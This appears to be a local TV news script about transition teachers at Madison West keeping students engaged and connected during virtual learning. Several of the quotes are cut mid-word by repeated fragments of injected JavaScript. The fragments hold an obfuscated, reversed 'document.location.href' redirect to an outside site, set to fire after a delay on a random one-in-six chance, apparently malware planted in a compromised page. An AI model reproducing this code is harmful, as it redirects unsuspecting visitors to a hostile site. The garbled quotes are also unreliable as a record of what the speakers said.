VIRTUAL LEARNING HAS ITS CHALLENGES.

*Nat Sound*

MADISON WEST TRANSITION TEACHERS HAVE FOUND IT ESPECIALLY DIFFICULT TO KEEP THEIR STUDENTS INTERESTED ONLINE.

“Keeping engagement when it’s just your teacher or instructobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor clicking something vs having them physically in front of you, pointing, directing and modeling things, it’s a lot more difficult tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get certain concepts across.”

TEACHERS SAY THEY’RE USING FUN ACTIVITIES TO HELP STUDENTS FOCUS DURING CLASS.

SOME STUDENTS ARE ALSO STRUGGLING WITH WORKING ON SOCIAL LEARNING.

“It’s hard tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to read emotion over the video camera.

SINCE NOT ALL STUDENTS CAN SEE EACHOTHER FACE-TO-FACE, THE STAFF HAVE HAD TO GET CREATIVE WITH SOCIAL ACTIVITIES.

“We have like a cooking class on Thursdays. The teacher will go and drop off all your ingredients so that you can join virtually, and that’s like helping them build their skills but also giving them a time for them tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together.”

STUDENT KATY GOLDSCHMIDT SAYS SHE’S ABLE TO STILL SEE THEIR FRIENDS IN-PERSON.

“Sometimes I go on a walk. I got friends who live with me in our neighborhood.”

GOLDSCHMIDT SAYS SHE LIKES ONLINE SCHOOLING BUT MISSES THE FRIENDS SHE CAN’T SEE.
